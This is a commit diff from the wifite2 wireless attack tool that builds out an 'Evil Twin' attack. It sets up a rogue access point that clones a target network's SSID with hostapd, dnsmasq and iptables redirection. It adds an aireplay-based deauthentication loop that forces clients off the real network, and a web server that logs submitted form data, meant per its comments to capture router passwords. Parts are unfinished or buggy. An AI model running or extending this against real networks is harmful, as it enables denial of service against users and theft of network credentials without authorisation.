Fixing eviltwin. Lots of changes.

This commit is contained in:
derv82
2018-05-13 12:39:28 -04:00
parent 94dd02b3ab
commit 1dcb23659b
11 changed files with 424 additions and 131 deletions

View File

@@ -153,7 +153,15 @@ class Arguments(object):
action='store_true', action='store_true',
dest='use_eviltwin', dest='use_eviltwin',
help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
# TODO: Args to specify deauth interface, server port, etc.
group.add_argument('-eti',
'--evitwin-iface',
type=str,
dest='eviltwin_iface',
metavar='[iface]',
default=None,
help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)'))
# TODO: Args to specify other options (server port, etc).
def _add_wep_args(self, wep): def _add_wep_args(self, wep):

View File

@@ -4,88 +4,171 @@
import time import time
from ..model.attack import Attack from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.dnsmasq import Dnsmasq
from ..tools.hostapd import Hostapd
from ..tools.ifconfig import Ifconfig from ..tools.ifconfig import Ifconfig
from ..tools.iptables import Iptables from ..tools.iptables import Iptables
from ..tools.eviltwin_server import EviltwinServer from ..tools.eviltwin_server import EviltwinServer
from ..util.color import Color from ..util.color import Color
from ..util.deauther import Deauther
from ..config import Configuration from ..config import Configuration
class EvilTwinAttack(Attack): class EvilTwinAttack(Attack):
def __init__(self, target): '''
Monitor-mode card should be used for deauthing (packet injection).
Other card can be put into AP mode.
'''
def __init__(self, target, deauth_iface, ap_iface):
super(EvilTwinAttack, self).__init__(target) super(EvilTwinAttack, self).__init__(target)
# Args
self.target = target self.target = target
self.deauth_iface = deauth_iface
self.ap_iface = ap_iface
# State
self.success = False self.success = False
self.completed = False self.completed = False
self.crack_result = None self.crack_result = None
self.error_msg = None
self.crack_result = None # Processes
self.hostapd = None self.hostapd = None
self.dnsmasq = None self.dnsmasq = None
self.webserver = None
self.deauther = None
self.deauther = None # Mdk3Deauther?
def run(self):
#raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
# Start airodump on deuath iface, wait for target, etc.
try:
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='airodump') as airodump:
Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump)
Color.clear_entire_line()
self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface)
Ifconfig.up(self.ap_iface, ['10.0.0.1/24'])
Color.clear_entire_line()
self.pattack(airodump_target, 'configuring {C}iptables{W}')
self.configure_iptables(self.ap_iface)
Color.clear_entire_line()
self.pattack(airodump_target, 'enabling {C}port forwarding{W}')
self.set_port_forwarding(enabled=True)
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface)
self.hostapd = Hostapd(self.target, self.ap_iface)
self.hostapd.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface)
self.dnsmasq = Dnsmasq(self.ap_iface)
self.dnsmasq.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}evil webserver{W}...')
self.webserver = EviltwinServer(self.success_callback, self.error_callback)
self.webserver.start()
Color.clear_entire_line()
self.pattack(airodump_target, 'starting {C}deauther{W}...')
self.deauther = Deauther(self.deauth_iface, self.target)
#self.deauther.start()
Color.clear_entire_line()
while not self.completed:
time.sleep(1)
airodump_target = self.wait_for_target(airodump)
# TODO: Check hostapd, dnsmasq, and webserver statistics
self.pattack(airodump_target, 'waiting for clients')
# Update deauther with latest client information
self.deauther.update_target(airodump_target)
except KeyboardInterrupt:
# Cleanup
Color.pl('\n{!} {O}Interrupted{W}')
if self.success:
# TODO: print status & save
self.cleanup()
return
if self.error_msg:
self.cleanup()
raise Exception(self.error_msg)
self.cleanup()
def pattack(self, airodump_target, status):
Color.pattack('EvilTwin', airodump_target, 'attack', status)
def success_callback(self, crack_result): def success_callback(self, crack_result):
# TODO: Stop all processes & reset IP tables # Called by webserver when we get a password
self.crack_result = crack_result self.crack_result = crack_result
self.success = True self.success = True
self.completed = True self.completed = True
def status_callback(self, status_message):
# Called by webserver on status update
pass
def error_callback(self, error_msg): def error_callback(self, error_msg):
# Called by webserver on error / failure
self.completed = True self.completed = True
self.error_msg = error_msg
def run(self):
# Take interface out of monitor mode
raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
monitor_interface = Configuration.interface
(_, base_interface) = Airmon.stop(monitor_interface)
Ifconfig.up(base_interface, ['10.0.0.1/24'])
self.configure_iptables(base_interface)
self.hostapd = Hostapd(self.target)
self.hostapd.start(base_interface)
server = EviltwinServer()
server.serve_forever()
try:
while not self.completed:
time.sleep(1)
except KeyboardInterrupt as e:
self.cleanup()
raise e
if self.success:
print status, save
return
if self.error_msg:
raise Exception(self.error_msg)
def cleanup(self): def cleanup(self):
''' if self.dnsmasq:
TODO: self.dnsmasq.stop()
* Kill all processes
* Delete config files from temp
* Reset iptables
* Reset interface state?
'''
pass
def set_port_forwrading(self, enabled=True): if self.hostapd:
self.hostapd.stop()
if self.webserver:
self.webserver.stop()
# From https://stackoverflow.com/a/268686
if self.deauther:
self.deauther.stop()
self.set_port_forwarding(enabled=False)
Iptables.flush() #iptables -F
Iptables.flush(table='nat') #iptables -t nat -F
Iptables.flush(table='mangle') #iptables -t mangle -F
Iptables.delete_chain() #iptables -X
Iptables.delete_chain(table='nat') #iptables -t nat -X
Iptables.delete_chain(table='mangle') #iptables -t mangle -X
def set_port_forwarding(self, enabled=True):
# echo "1" > /proc/sys/net/ipv4/ip_forward # echo "1" > /proc/sys/net/ipv4/ip_forward
# TODO: Are there other ways to do this? # TODO: Are there other/better ways to do this?
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward: with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
ip_forward.write('1' if enabled else '0') ip_forward.write('1' if enabled else '0')
def configure_iptables(self, base_interface): def configure_iptables(self, interface):
# iptables -N internet -t mangle # iptables -N internet -t mangle
Iptables.new_chain('internet', 'mangle') Iptables.new_chain('internet', 'mangle')
@@ -110,12 +193,10 @@ class EvilTwinAttack(Attack):
'--to-destination', '10.0.0.1', '--to-destination', '10.0.0.1',
]) ])
self.set_port_forwarding(enabled=True)
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT #iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
Iptables.append('FORWARD', rules=[ Iptables.append('FORWARD', rules=[
'--in-interface', 'eth0', '--in-interface', 'eth0',
'--out-interface', base_interface, '--out-interface', interface,
'--match', 'state', '--match', 'state',
'--state', 'ESTABLISHED,RELATED', '--state', 'ESTABLISHED,RELATED',
'--jump', 'ACCEPT', '--jump', 'ACCEPT',
@@ -130,7 +211,7 @@ class EvilTwinAttack(Attack):
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Iptables.append('FORWARD', rules=[ Iptables.append('FORWARD', rules=[
'--in-interface', base_interface, '--in-interface', interface,
'--out-interface', 'eth0', '--out-interface', 'eth0',
'--jump', 'ACCEPT', '--jump', 'ACCEPT',
]) ])

View File

@@ -4,6 +4,8 @@
import os import os
from .util.color import Color from .util.color import Color
from .util.input import raw_input
from .tools.iwconfig import Iwconfig
from .tools.macchanger import Macchanger from .tools.macchanger import Macchanger
class Configuration(object): class Configuration(object):
@@ -55,8 +57,7 @@ class Configuration(object):
# EvilTwin variables # EvilTwin variables
cls.use_eviltwin = False cls.use_eviltwin = False
cls.eviltwin_port = 80 cls.eviltwin_port = 80
cls.eviltwin_deauth_iface = None cls.eviltwin_iface = None
cls.eviltwin_fakeap_iface = None
# WEP variables # WEP variables
cls.wep_filter = False # Only attack WEP networks cls.wep_filter = False # Only attack WEP networks
@@ -122,9 +123,52 @@ class Configuration(object):
if cls.random_mac: if cls.random_mac:
Macchanger.random() Macchanger.random()
@staticmethod @classmethod
def get_wireless_interface(): def get_eviltwin_interface(cls):
pass if cls.eviltwin_iface is None:
Color.pl('\n{+} {G}Evil Twin attack{W}')
Color.p('{+} looking for wireless interfaces in "Managed" mode... ')
ifaces = Iwconfig.get_interfaces(mode='Managed')
if len(ifaces) == 0:
Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}')
raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)')
Color.clear_entire_line()
while True:
# Ask user to select eviltwin interface
Color.pl(' select the interface for the {C}evil twin{W} access point:')
for index, iface in enumerate(ifaces, start=1):
Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface))
question = '{+} enter number ({G}'
if len(ifaces) == 1:
question += '1'
else:
question += '1-%d' % len(ifaces)
question += '{W}): '
selection = raw_input(Color.s(question))
if selection.strip() in ifaces:
selection = str(ifaces.index(selection.strip()) + 1)
elif not selection.isdigit():
Color.pl('\n{!} {O}selection must be numeric{W}')
continue
selection = int(selection)
if selection < 1 or selection > len(ifaces):
Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces))
continue
break
cls.eviltwin_iface = ifaces[selection - 1]
return cls.eviltwin_iface
@classmethod @classmethod
def load_from_arguments(cls): def load_from_arguments(cls):
@@ -175,10 +219,23 @@ class Configuration(object):
cls.kill_conflicting_processes = True cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin # EvilTwin
if args.eviltwin_iface:
# Check that eviltwin_iface exists in iwconfig
existing_ifaces = Iwconfig.get_interfaces()
if args.eviltwin_iface not in existing_ifaces:
raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces)))
# TODO: Put device into managed mode?
cls.eviltwin_iface = args.eviltwin_iface
Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface)
if args.use_eviltwin: if args.use_eviltwin:
# TODO: Or ask user to select a different wireless device?
cls.use_eviltwin = True cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}')
# WEP # WEP
if args.wep_filter: if args.wep_filter:

View File

@@ -21,13 +21,13 @@ class AirmonIface(object):
self.chipset = chipset self.chipset = chipset
self.mac_address = Ifconfig.get_mac(interface) self.mac_address = Ifconfig.get_mac(interface)
# Max length of fields. # Max length of fields. Used for printing a table of interfaces.
# Used for printing a table of interfaces.
INTERFACE_LEN = 12 INTERFACE_LEN = 12
PHY_LEN = 6 PHY_LEN = 6
DRIVER_LEN = 20 DRIVER_LEN = 20
CHIPSET_LEN = 30 CHIPSET_LEN = 30
def __str__(self): def __str__(self):
''' Colored string representation of interface ''' ''' Colored string representation of interface '''
s = '' s = ''
@@ -37,6 +37,7 @@ class AirmonIface(object):
s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
return s return s
@staticmethod @staticmethod
def menu_header(): def menu_header():
''' Colored header row for interfaces ''' ''' Colored header row for interfaces '''
@@ -52,12 +53,13 @@ class AirmonIface(object):
class Airmon(Dependency): class Airmon(Dependency):
''' Wrapper around the 'airmon-ng' program ''' ''' Wrapper around the 'airmon-ng' program '''
dependency_required = True dependency_required = True
dependency_name = 'airmon-ng' dependency_name = 'airmon-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html' dependency_url = 'https://www.aircrack-ng.org/install.html'
base_interface = None base_interface = None # Interface *before* it was put into monitor mode.
killed_network_manager = False killed_network_manager = False # If we killed network-manager
# Drivers that need to be manually put into monitor mode # Drivers that need to be manually put into monitor mode
BAD_DRIVERS = ['rtl8821au'] BAD_DRIVERS = ['rtl8821au']
@@ -66,18 +68,16 @@ class Airmon(Dependency):
ARPHRD_IEEE80211_RADIOTAP = 803 #monitor ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
def __init__(self): def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces() self.interfaces = Airmon.get_interfaces()
def print_menu(self): def print_menu(self):
''' Prints menu ''' ''' Prints menu '''
print(AirmonIface.menu_header()) print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1): for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface)) Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index): def get(self, index):
''' Gets interface at index (starts at 1) ''' ''' Gets interface at index (starts at 1) '''
if type(index) is str: if type(index) is str:
@@ -105,6 +105,7 @@ class Airmon(Dependency):
return interfaces return interfaces
@staticmethod @staticmethod
def start_bad_driver(iface): def start_bad_driver(iface):
''' '''
@@ -124,6 +125,7 @@ class Airmon(Dependency):
return None return None
@staticmethod @staticmethod
def stop_bad_driver(iface): def stop_bad_driver(iface):
''' '''
@@ -143,6 +145,7 @@ class Airmon(Dependency):
return None return None
@staticmethod @staticmethod
def start(iface): def start(iface):
''' '''
@@ -197,18 +200,26 @@ class Airmon(Dependency):
return enabled_iface return enabled_iface
@staticmethod @staticmethod
def _parse_airmon_start(airmon_output): def _parse_airmon_start(airmon_output):
'''Find the interface put into monitor mode (if any)''' '''Returns the interface name that was put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
# airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn
enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)')
for line in airmon_output.split('\n'): for line in airmon_output.split('\n'):
matches = enabled_re.match(line) matches = enabled_re.match(line)
if matches: if matches:
return matches.group(1) return matches.group(1)
matches = enabled_re2.match(line)
if matches:
return matches.group(1)
return None return None
@@ -275,15 +286,16 @@ class Airmon(Dependency):
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}') Color.p('\n{+} looking for {C}wireless interfaces{W}... ')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
if len(monitor_interfaces) == 1: if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode # Assume we're using the device already in montior mode
iface = monitor_interfaces[0] iface = monitor_interfaces[0]
Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface);
Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}')
Airmon.base_interface = None Airmon.base_interface = None
return iface return iface
Color.pl('')
a = Airmon() a = Airmon()
count = len(a.interfaces) count = len(a.interfaces)
@@ -364,6 +376,7 @@ class Airmon(Dependency):
Ifconfig.up(iface) Ifconfig.up(iface)
Color.pl(" {G}done{W}") Color.pl(" {G}done{W}")
@staticmethod @staticmethod
def start_network_manager(): def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...") Color.p("{!} {O}restarting {R}NetworkManager{O}...")
@@ -404,3 +417,4 @@ if __name__ == '__main__':
(disabled_iface, enabled_iface) = Airmon.stop(iface) (disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface) print("Disabled:", disabled_iface)
print("Enabled:", enabled_iface) print("Enabled:", enabled_iface)

View File

@@ -9,6 +9,7 @@ from ..config import Configuration
class Dnsmasq(Dependency): class Dnsmasq(Dependency):
'''Wrapper for dnsmasq program.''' '''Wrapper for dnsmasq program.'''
dependency_required = False dependency_required = False
dependency_name = 'dnsmasq' dependency_name = 'dnsmasq'
dependency_url = 'apt-get install dnsmasq' dependency_url = 'apt-get install dnsmasq'
@@ -16,14 +17,15 @@ class Dnsmasq(Dependency):
def __init__(self, interface): def __init__(self, interface):
self.interface = interface self.interface = interface
self.pid = None self.pid = None
self.config_file = None
def create_config_file(self): def create_config_file(self):
config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
if os.path.exists(config_file): if os.path.exists(self.config_file):
os.remove(config_file) os.remove(self.config_file)
with open(config_file, 'w') as config: with open(self.config_file, 'w') as config:
config.write('interface={}\n'.format(self.interface)) config.write('interface={}\n'.format(self.interface))
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n') config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
config.write('dhcp-option=3,10.0.0.1\n') config.write('dhcp-option=3,10.0.0.1\n')
@@ -31,11 +33,10 @@ class Dnsmasq(Dependency):
config.write('server=8.8.8.8\n') config.write('server=8.8.8.8\n')
config.write('log-queries\n') config.write('log-queries\n')
config.write('log-dhcp\n') config.write('log-dhcp\n')
return config_file
def start(self): def start(self):
config_file = self.create_config_file() self.create_config_file()
# Stop already-running dnsmasq process # Stop already-running dnsmasq process
self.killall() self.killall()
@@ -43,25 +44,28 @@ class Dnsmasq(Dependency):
# Start new dnsmasq process # Start new dnsmasq process
self.pid = Process([ self.pid = Process([
'dnsmasq', 'dnsmasq',
'-C', config_file '-C', self.config_file
]) ])
def stop(self): def stop(self):
# Kill dnsmasq process # Kill dnsmasq process
if self.pid: if self.pid and self.pid.poll() is not None:
self.pid.interrupt() self.pid.interrupt()
self.killall() self.killall()
# TODO: Wait until dnsmasq is completely stopped.
if self.config_file and os.path.exists(self.config_file):
def check(self): os.remove(self.config_file)
# TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc.
if self.pid.poll() is not None:
# Process stopped
pass
def killall(self): def killall(self):
Process(['killall', 'dnsmasq']).wait() Process(['killall', 'dnsmasq']).wait()
# TODO: Wait until dnsmasq is completely stopped.
def check(self):
if self.pid.poll() is not None:
raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check logs/output for problems

View File

@@ -2,42 +2,71 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
class EviltwinServer(HTTPServer): class EviltwinServer(HTTPServer, object):
def __init__(self, success_callback, port=80): def __init__(self, success_callback, error_callback, port=80):
super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler) self.thread = None
# Store state in server
self.success_callback = success_callback
self.error_callback = error_callback
self.request_count = 0
self.router_pages_served = 0
# Initialize with our request handler
super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler)
def start(self):
self.thread = Thread(target=self.serve_forever)
self.thread.start()
def serve_forever(self): def stop(self):
super(EviltwinServer, self).serve_forever() # From https://stackoverflow.com/a/268686
self.shutdown()
self.socket.close()
if self.thread:
self.thread.join()
def request_count(self):
return self.request_count
def router_pages_served(self):
return self.router_pages_served
class EviltwinRequestHandler(BaseHTTPRequestHandler): class EviltwinRequestHandler(BaseHTTPRequestHandler):
def __init__(self, success_callback):
self.success_callback = success_callback
def do_GET(self): def do_GET(self):
self.server.request_count += 1
request_path = self.path request_path = self.path
# TODO: URL mappings to load specific pages. # TODO: URL mappings to load specific pages. E.g. Apple/Android "pings"
print("\n----- Request Start ----->\n") print('\n----- Request Start ----->\n')
print(request_path) print(request_path)
print(self.headers) print(self.headers)
print("<----- Request End -----\n") print('<----- Request End -----\n')
self.send_response(200) self.send_response(200)
self.send_header("Set-Cookie", "foo=bar") self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write('<html><head><title>Title goes here.</title></head>')
self.wfile.write('<body><p>This is a test.</p>')
# If someone went to 'http://something.somewhere.net/foo/bar/',
# then s.path equals '/foo/bar/'.
self.wfile.write('<p>You accessed path: %s</p>' % self.path)
self.wfile.write('</body></html>')
def do_POST(self): def do_POST(self):
self.server.request_count += 1
request_path = self.path request_path = self.path
# TODO: If path includes router password, call self.success_callback # TODO: If path includes router password, call self.server.success_callback
# TODO: Verify router passwords via separate interface? # TODO: Verify router passwords via separate interface?
print("\n----- Request Start ----->\n") print('\n----- Request Start ----->\n')
print(request_path) print(request_path)
request_headers = self.headers request_headers = self.headers
@@ -46,19 +75,10 @@ class EviltwinRequestHandler(BaseHTTPRequestHandler):
print(request_headers) print(request_headers)
print(self.rfile.read(length)) print(self.rfile.read(length))
print("<----- Request End -----\n") print('<----- Request End -----\n')
self.send_response(200) self.send_response(200)
do_PUT = do_POST do_PUT = do_POST
do_DELETE = do_GET do_DELETE = do_GET
if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n"
"Run:\n\n"
" reflect")
(options, args) = parser.parse_args()
main()

View File

@@ -6,6 +6,7 @@ import os
from .dependency import Dependency from .dependency import Dependency
from ..config import Configuration from ..config import Configuration
from ..util.process import Process
class Hostapd(Dependency): class Hostapd(Dependency):
process_name = 'hostapd' process_name = 'hostapd'
@@ -14,6 +15,7 @@ class Hostapd(Dependency):
dependency_name = process_name dependency_name = process_name
dependency_url = 'apt-get install hostapd' dependency_url = 'apt-get install hostapd'
@classmethod @classmethod
def exists(cls): def exists(cls):
return Process.exists(cls.process_name) return Process.exists(cls.process_name)
@@ -23,52 +25,71 @@ class Hostapd(Dependency):
self.target = target self.target = target
self.interface = interface self.interface = interface
self.pid = None self.pid = None
# Save hostapd state? self.config_file = None
self.output_file = None
self.output_write = None
self.state = 'Initializing'
def create_config_file(self): def create_config_file(self):
if not self.target.essid_known: if not self.target.essid_known:
self.state = 'Error: Target ESSID is not known'
raise Exception('Cannot start hostapd if target has unknown SSID') raise Exception('Cannot start hostapd if target has unknown SSID')
config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
with open(config_file, 'w') as config: with open(self.config_file, 'w') as config:
config.write('driver=nl80211\n') config.write('driver=nl80211\n')
config.write('ssid={}\n'.format(self.target.essid)) config.write('ssid={}\n'.format(self.target.essid))
config.write('hw_mode=g\n') # TODO: support 5ghz # TODO: support 5ghz
config.write('hw_mode=g\n')
config.write('channel={}\n'.format(self.target.channel)) config.write('channel={}\n'.format(self.target.channel))
config.write('logger_syslog=-1\n') config.write('logger_syslog=-1\n')
config.write('logger_syslog_level=2\n') config.write('logger_syslog_level=2\n')
return config_file
def start(self): def start(self):
config_file = self.create_config_file() self.create_config_file()
self.killall() self.killall()
temp = Configuration.temp()
self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out'))
self.output_write = open(self.output_file, 'a')
self.pid = Process([ self.pid = Process([
self.process_name, self.process_name,
'-C', config_file, '-C', self.config_file,
'-i', self.interface '-i', self.interface
]) ],
stdout=self.output_write,
cwd=temp
)
def stop(self): def stop(self):
if self.pid: if self.pid and self.pid.poll() is not None:
self.pid.interrupt() self.pid.interrupt()
self.killall() self.killall()
# TODO: Wait until hostapd is completely stopped. # TODO: Wait until hostapd is completely stopped.
if self.output_write:
self.output_write.close()
def check(self): if self.config_file and os.path.exists(self.config_file):
# TODO: Check if hostapd is still running, if there's any errors in the logs, etc. os.remove(self.config_file)
if self.pid.poll() is not None:
# Process stopped if self.output_file and os.path.exists(self.output_file):
pass os.remove(self.output_file)
def killall(self): def killall(self):
Process(['killall', self.process_name]).wait() Process(['killall', self.process_name]).wait()
def check(self):
if self.pid.poll() is not None:
raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check hostapd logs / output for any problems.

View File

@@ -4,14 +4,17 @@
import re import re
from .dependency import Dependency from .dependency import Dependency
from ..util.process import Process
class Iptables(Dependency): class Iptables(Dependency):
process_name = 'iptables' process_name = 'iptables'
dependency_required = False dependency_required = False
dependency_name = process_name dependency_name = process_name
dependency_url = 'apt-get install iptables' dependency_url = 'apt-get install iptables'
@classmethod @classmethod
def exists(cls): def exists(cls):
return Process.exists(cls.process_name) return Process.exists(cls.process_name)
@@ -19,6 +22,8 @@ class Iptables(Dependency):
@classmethod @classmethod
def __exec(cls, args, expect_return_code=0): def __exec(cls, args, expect_return_code=0):
# Helper method for executing iptables commands.
if type(args) is str: if type(args) is str:
args = args.split(' ') args = args.split(' ')
@@ -30,12 +35,13 @@ class Iptables(Dependency):
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr())) raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
# -N, --new-chain <chain>
@classmethod @classmethod
def new_chain(cls, chain_name, table): def new_chain(cls, chain_name, table):
command = ['-N', name, '-t', table] args = ['-N', chain_name, '-t', table]
cls.__exec(command) cls.__exec(args)
# -A, --append <chain> <rule-specification>
@classmethod @classmethod
def append(cls, chain, table=None, rules=[]): def append(cls, chain, table=None, rules=[]):
args = [] args = []
@@ -45,3 +51,23 @@ class Iptables(Dependency):
args.extend(rules) args.extend(rules)
cls.__exec(args) cls.__exec(args)
# -F, --flush <chain>
@classmethod
def flush(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-F')
cls.__exec(args)
# -X, --delete-chain <chain>
@classmethod
def delete_chain(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-X')
cls.__exec(args)

View File

@@ -41,7 +41,7 @@ class Iwconfig(Dependency):
if mode is None: if mode is None:
interfaces.add(iface) interfaces.add(iface)
if mode is not None and 'Mode:{}'.format(mode) in line: if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower():
interfaces.add(iface) interfaces.add(iface)
return list(interfaces) return list(interfaces)

56
wifite/util/deauther.py Normal file
View File

@@ -0,0 +1,56 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..tools.aireplay import Aireplay
from ..tools.ifconfig import Ifconfig
class Deauther(object):
'''
Deauthenticates clients associated with a target.
For use with EvilTwin.
'''
def __init__(self, interface, target):
self.interface = interface
self.interface_mac = Ifconfig.get_mac(interface)
self.target = target
self.running = False
self.clients = set()
def update_target(self, target):
# Refresh target (including list of clients)
self.target = target
def update_clients(self):
# Refreshes list of clients connected to target
for client in self.target.clients:
bssid = client.station
if bssid.lower() == self.interface_mac:
continue # Ignore this interface
elif bssid not in self.clients:
self.clients.add(bssid)
def start(self):
self.running = True
while self.running:
# Refresh list of clients
self.update_clients()
# Deauth clients
bssid = self.target.bssid
essid = self.target.essid if self.target.essid_known else None
for client_mac in clients:
Aireplay.deauth(bssid, essid=essid, client_mac=client_mac)
time.sleep(1)
def stop(self):
self.running = False

View File

@@ -41,8 +41,10 @@ class Wifite(object):
elif Configuration.check_handshake: elif Configuration.check_handshake:
self.check_handshake(Configuration.check_handshake) self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake: elif Configuration.crack_handshake:
CrackHandshake() CrackHandshake()
else: else:
Configuration.get_monitor_mode_interface() Configuration.get_monitor_mode_interface()
self.run() self.run()
@@ -146,6 +148,10 @@ class Wifite(object):
else: else:
targets = s.select_targets() targets = s.select_targets()
if Configuration.use_eviltwin:
# Ask user to select interface if needed
Configuration.get_eviltwin_interface()
attacked_targets = 0 attacked_targets = 0
targets_remaining = len(targets) targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1): for idx, t in enumerate(targets, start=1):
@@ -159,7 +165,7 @@ class Wifite(object):
# TODO: Check if Eviltwin attack is selected. # TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin: if Configuration.use_eviltwin:
attack = EvilTwinAttack(t) attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface)
elif 'WEP' in t.encryption: elif 'WEP' in t.encryption:
attack = AttackWEP(t) attack = AttackWEP(t)